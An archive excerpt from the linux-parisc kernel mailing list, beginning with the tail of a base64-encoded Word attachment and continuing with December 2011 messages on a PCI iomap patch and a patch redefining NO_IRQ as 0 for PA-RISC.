AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAABAAAAAgAAAAMAAAAEAAAABQAAAAYAAAAHAAAACAAAAAkAAAAKAAAACwAA
AAwAAAANAAAADgAAAA8AAAAQAAAAEQAAABIAAAATAAAAFAAAABUAAAAWAAAA
FwAAAP7///8ZAAAAGgAAABsAAAAcAAAAHQAAAB4AAAAfAAAA/v///yEAAAAi
AAAAIwAAACQAAAAlAAAAJgAAACcAAAAoAAAAKQAAACoAAAArAAAA/v///y0A
AAAuAAAALwAAADAAAAAxAAAAMgAAADMAAAD+////NQAAADYAAAA3AAAAOAAA
ADkAAAA6AAAAOwAAAP7////9////PgAAAP7////+/////v//////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
/////////////////////////1IAbwBvAHQAIABFAG4AdAByAHkAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAUB////
//////8DAAAABgkCAAAAAADAAAAAAAAARgAAAAAAAAAAAAAAAKAZHNU8s8wB
QAAAAIAAAAAAAAAARABhAHQAYQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAgH/////////////
//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAABAA
AAAAAAAxAFQAYQBiAGwAZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgACAQEAAAAGAAAA/////wAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAACRFwAAAAAAAFcA
bwByAGQARABvAGMAdQBtAGUAbgB0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAaAAIBAgAAAAUAAAD/////AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQuAAAAAAAABQBTAHUAbQBt
AGEAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAACgAAgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAsAAAAABAAAAAAAAAFAEQAbwBjAHUAbQBlAG4A
dABTAHUAbQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAAAAAAAAA
AAAAOAACAQQAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAADQAAAAAEAAAAAAAAAEAQwBvAG0AcABPAGIAagAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAIA
////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////////
//////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAABAAAA/v//////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
/////////////////////////////////wEA/v8DCgAA/////wYJAgAAAAAA
wAAAAAAAAEYfAAAATWljcm9zb2Z0IE9mZmljZSBXb3JkIERvY3VtZW50AAoA
AABNU1dvcmREb2MAEAAAAFdvcmQuRG9jdW1lbnQuOAD0ObJxAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

------=_NextPart_000_002F_01C2A9A6.6F78BA9C--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH-RFC 07/10] parisc: switch to GENERIC_PCI_IOMAP
Date: Tue, 6 Dec 2011 13:06:09 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <20111206110608.GA10379@redhat.com>
References: <cover.1322163031.git.mst@redhat.com>
 <9dab609cdf0c22a35f58b0f821a10230a487480d.1322163031.git.mst@redhat.com>
 <20111204104817.GI15464@redhat.com>
 <1323008554.3003.4.camel@dabdike.int.hansenpartnership.com>
 <20111204143000.GB21238@redhat.com>
 <CANEJEGuHpT-SWEbRVN0WXbOSBcbP8HDhFjKjxUfShyV84pqazw@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1323169487 15625 80.91.229.12 (6 Dec 2011 11:04:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 6 Dec 2011 11:04:47 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grantgrundler@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 06 12:04:41 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RXspF-0005TZ-4m
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Dec 2011 12:04:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933212Ab1LFLEf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Dec 2011 06:04:35 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:29707 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933147Ab1LFLEe (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Dec 2011 06:04:34 -0500
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id pB6B4LH4015119
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Tue, 6 Dec 2011 06:04:21 -0500
Original-Received: from redhat.com (dhcp-4-49.tlv.redhat.com [10.35.4.49])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id pB6B4IW0001161;
	Tue, 6 Dec 2011 06:04:19 -0500
Content-Disposition: inline
In-Reply-To: <CANEJEGuHpT-SWEbRVN0WXbOSBcbP8HDhFjKjxUfShyV84pqazw@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4069
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4069>

On Mon, Dec 05, 2011 at 10:23:17AM -0800, Grant Grundler wrote:
> On Sun, Dec 4, 2011 at 6:30 AM, Michael S. Tsirkin <mst@redhat.com> wrote:
> ...
> > AFAIK, on PCI a resource is either IO or MEM, but never both.
> > What am I missing?
> 
> Yes, a particular PCI BAR (Base Address Register) is either IO or MEM
> (not both) address space resource.
> 
> James is observing many older devices have the same set of registers
> mapped in both address spaces using two BARs. As you already know,
> MMIO is "lighter weight" (CPU cost to generate transactions on PCI
> bus). I think this is orthogonal to the issue you are addressing.
> 
> Regarding handling of IO Port space cookies:
> > -     if (flags & IORESOURCE_IO)
> > -             return ioport_map(start, len);
> 
> I don't know who all the consumers of pci_iomap() are. If user space
> can somehow call this, it should fail for IO port space "mappings"
> since unlike x86, parisc has no INB/OUTB instructions. Generating IO
> Port space requires frobbing PCI Bus controller registers that I don't
> think we want to expose to user space.
> 
> I'm going to assume this is NOT a problem since any code that
> generates anything that tries to look like an INB/OUTB just won't
> compile on parisc.  I think removing the parisc specific definition
> and using the generic one instead looks fine to me.  But I'm not
> confident enough to offer a formal ACKed-by line. Sorry. :(
> 
> cheers,
> grant

How about a Tested-by line? I presume you have the hardware to
try this out? You can also get the patches from my tree:
git://git.kernel.org/pub/scm/linux/kernel/git/mst/vhost.git linux-next
or from linux-next.

-- 
MST
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: make NO_IRQ 0 as it should be
Date: Tue, 06 Dec 2011 11:24:33 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <20111206112412.14035.13990.stgit@bob.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1323170445 23793 80.91.229.12 (6 Dec 2011 11:20:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 6 Dec 2011 11:20:45 +0000 (UTC)
To: linux-parisc@vger.kernel.org, jejb@parisc-linux.org,
	kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 06 12:20:36 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RXt4e-0004gv-5Q
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Dec 2011 12:20:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753703Ab1LFLUe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Dec 2011 06:20:34 -0500
Original-Received: from lxorguk.ukuu.org.uk ([81.2.110.251]:44817 "EHLO
	lxorguk.ukuu.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754097Ab1LFLUd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Dec 2011 06:20:33 -0500
X-Greylist: delayed 468 seconds by postgrey-1.27 at vger.kernel.org; Tue, 06 Dec 2011 06:20:33 EST
Original-Received: from bob.linux.org.uk (earthlight.etchedpixels.co.uk [81.2.110.250])
	by lxorguk.ukuu.org.uk (8.14.4/8.14.1) with ESMTP id pB6BGdLf003171;
	Tue, 6 Dec 2011 11:16:45 GMT
User-Agent: StGIT/0.14.3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4070
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4070>

From: Alan Cox <alan@linux.intel.com>

PA-RISC doesn't use a real IRQ 0 and James says

"To be honest, we don't care very much.  Parisc interrupts are cascading
and mostly software assigned (except our EIEM which we keep internal).
We use a base offset at 16 or 64 (depending on GSC presence or not) so
IRQs 0-15 aren't legal on parisc either (we frob some of the hard coded
ISA interrupts on the WAX eisa bus).

We use NO_IRQ as an IRQ assignment error return and that's about it (and
that error shouldn't ever really occur)."

Signed-off-by: Alan Cox <alan@linux.intel.com>
---

 arch/parisc/include/asm/irq.h |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)


diff --git a/arch/parisc/include/asm/irq.h b/arch/parisc/include/asm/irq.h
index 1073599..fcf6edd 100644
--- a/arch/parisc/include/asm/irq.h
+++ b/arch/parisc/include/asm/irq.h
@@ -10,7 +10,7 @@
 #include <linux/cpumask.h>
 #include <asm/types.h>
 
-#define NO_IRQ		(-1)
+#define NO_IRQ		0
 
 #ifdef CONFIG_GSC
 #define GSC_IRQ_BASE	16

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH-RFC 07/10] parisc: switch to GENERIC_PCI_IOMAP
Date: Tue, 6 Dec 2011 08:18:43 -0800
Lines: 42
Approved: news@gmane.org
Message-ID: <CANEJEGu0SD+z1ZvD05F0TzomZW9Lp-Cok4GL2eBiHQatW4+wPg@mail.gmail.com>
References: <cover.1322163031.git.mst@redhat.com>
	<9dab609cdf0c22a35f58b0f821a10230a487480d.1322163031.git.mst@redhat.com>
	<20111204104817.GI15464@redhat.com>
	<1323008554.3003.4.camel@dabdike.int.hansenpartnership.com>
	<20111204143000.GB21238@redhat.com>
	<CANEJEGuHpT-SWEbRVN0WXbOSBcbP8HDhFjKjxUfShyV84pqazw@mail.gmail.com>
	<20111206110608.GA10379@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1323188332 21231 80.91.229.12 (6 Dec 2011 16:18:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 6 Dec 2011 16:18:52 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: "Michael S. Tsirkin" <mst@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 06 17:18:47 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RXxjC-0001NN-36
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Dec 2011 17:18:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751213Ab1LFQSp convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Dec 2011 11:18:45 -0500
Original-Received: from mail-qy0-f174.google.com ([209.85.216.174]:61994 "EHLO
	mail-qy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751141Ab1LFQSo convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Dec 2011 11:18:44 -0500
Original-Received: by mail-qy0-f174.google.com with SMTP id z2so2343784qcq.19
        for <linux-parisc@vger.kernel.org>; Tue, 06 Dec 2011 08:18:44 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding:x-system-of-record;
        bh=rohyuZivThd8DF6oVv9TddwG5sEeHGJEhY7Fv/kq5p4=;
        b=FJ5ydfGfcTYKiJ8CDWL3j3zNz8Gi/QUbrLOl3EO1oESme+ByULL7+wc9gvllf5C30e
         xOSJQtHBM7MdLQfXSl+g==
Original-Received: by 10.229.184.85 with SMTP id cj21mr2342954qcb.22.1323188324151;
        Tue, 06 Dec 2011 08:18:44 -0800 (PST)
Original-Received: by 10.229.184.85 with SMTP id cj21mr2342935qcb.22.1323188323713;
 Tue, 06 Dec 2011 08:18:43 -0800 (PST)
Original-Received: by 10.229.219.8 with HTTP; Tue, 6 Dec 2011 08:18:43 -0800 (PST)
In-Reply-To: <20111206110608.GA10379@redhat.com>
X-Google-Sender-Auth: SCf_gDP-s5oyFBBb9GvGghuYMHo
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4071
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4071>

On Tue, Dec 6, 2011 at 3:06 AM, Michael S. Tsirkin <mst@redhat.com> wro=
te:
> On Mon, Dec 05, 2011 at 10:23:17AM -0800, Grant Grundler wrote:
=2E..
>> I'm going to assume this is NOT a problem since any code that
>> generates anything that tries to look like an INB/OUTB just won't
>> compile on parisc. =C2=A0I think removing the parisc specific defini=
tion
>> and using the generic one instead looks fine to me. =C2=A0But I'm no=
t
>> confident enough to offer a formal ACKed-by line. Sorry. :(
>>
>> cheers,
>> grant
>
> How about a Tested-by line? I presume you have the hardware to
> try this out?

I do have the HW at home to test this...but it's not been powered up
in 6+ months. I have to point dpkg at a new repository and update all
the SW on the machine. If you don't mind waiting another week, I'll
make time to do that later this week (or weekend).



> You can also get the patches from my tree:
> git://git.kernel.org/pub/scm/linux/kernel/git/mst/vhost.git linux-nex=
t
> or from linux-next.

That's easy enough - thanks!
grant

>
> --
> MST
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH-RFC 07/10] parisc: switch to GENERIC_PCI_IOMAP
Date: Tue, 6 Dec 2011 18:24:34 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20111206162434.GB3245@redhat.com>
References: <cover.1322163031.git.mst@redhat.com>
 <9dab609cdf0c22a35f58b0f821a10230a487480d.1322163031.git.mst@redhat.com>
 <20111204104817.GI15464@redhat.com>
 <1323008554.3003.4.camel@dabdike.int.hansenpartnership.com>
 <20111204143000.GB21238@redhat.com>
 <CANEJEGuHpT-SWEbRVN0WXbOSBcbP8HDhFjKjxUfShyV84pqazw@mail.gmail.com>
 <20111206110608.GA10379@redhat.com>
 <CANEJEGu0SD+z1ZvD05F0TzomZW9Lp-Cok4GL2eBiHQatW4+wPg@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1323188590 23700 80.91.229.12 (6 Dec 2011 16:23:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 6 Dec 2011 16:23:10 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grantgrundler@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 06 17:23:05 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RXxnM-0003pp-LH
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Dec 2011 17:23:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
